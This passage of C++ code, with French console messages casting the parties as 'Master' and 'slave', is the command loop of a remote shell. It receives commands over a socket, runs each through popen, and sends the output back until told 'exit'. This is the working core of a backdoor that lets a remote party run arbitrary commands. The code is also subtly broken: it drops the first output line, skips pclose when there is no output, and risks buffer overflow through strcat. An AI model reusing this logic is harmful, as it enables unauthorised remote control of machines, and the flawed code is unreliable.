while (strcmp(cmd, "exit")!=0)
{
if (recv(csock, cmd, TAILLECMD, 0)!=-1)
{
if (strcmp(cmd, "exit")==0)
{
cout << "\n\n Le Maître vient d'affranchir l'esclave\n\n" << endl;
}
else
{
cout << "\nLe Maître souhaite éxécuter la commande : " << cmd << endl;
FILE *ptr;
if ((ptr = popen(cmd, "r")) != NULL)
{
if (fgets(buf1, TAILLECMD, ptr) == NULL)
{
strcat(buf,no_stdout);
}
else
{
while (fgets(buf1, TAILLECMD, ptr) != NULL)
{
strcat(buf,buf1);
}
pclose(ptr);
}
}
else
{
fprintf(stderr, "Erreur avec popen\n");
exit(1);
}
cout << "\nL'esclave retourne le résultat de la commande : " << cmd << endl;
send(csock, buf, TAILLECMD, 0);
memset (buf, 0, sizeof (buf));
cout << "\nL'esclave est en attente d'un ordre du Maître . . ." << endl;
}
}
}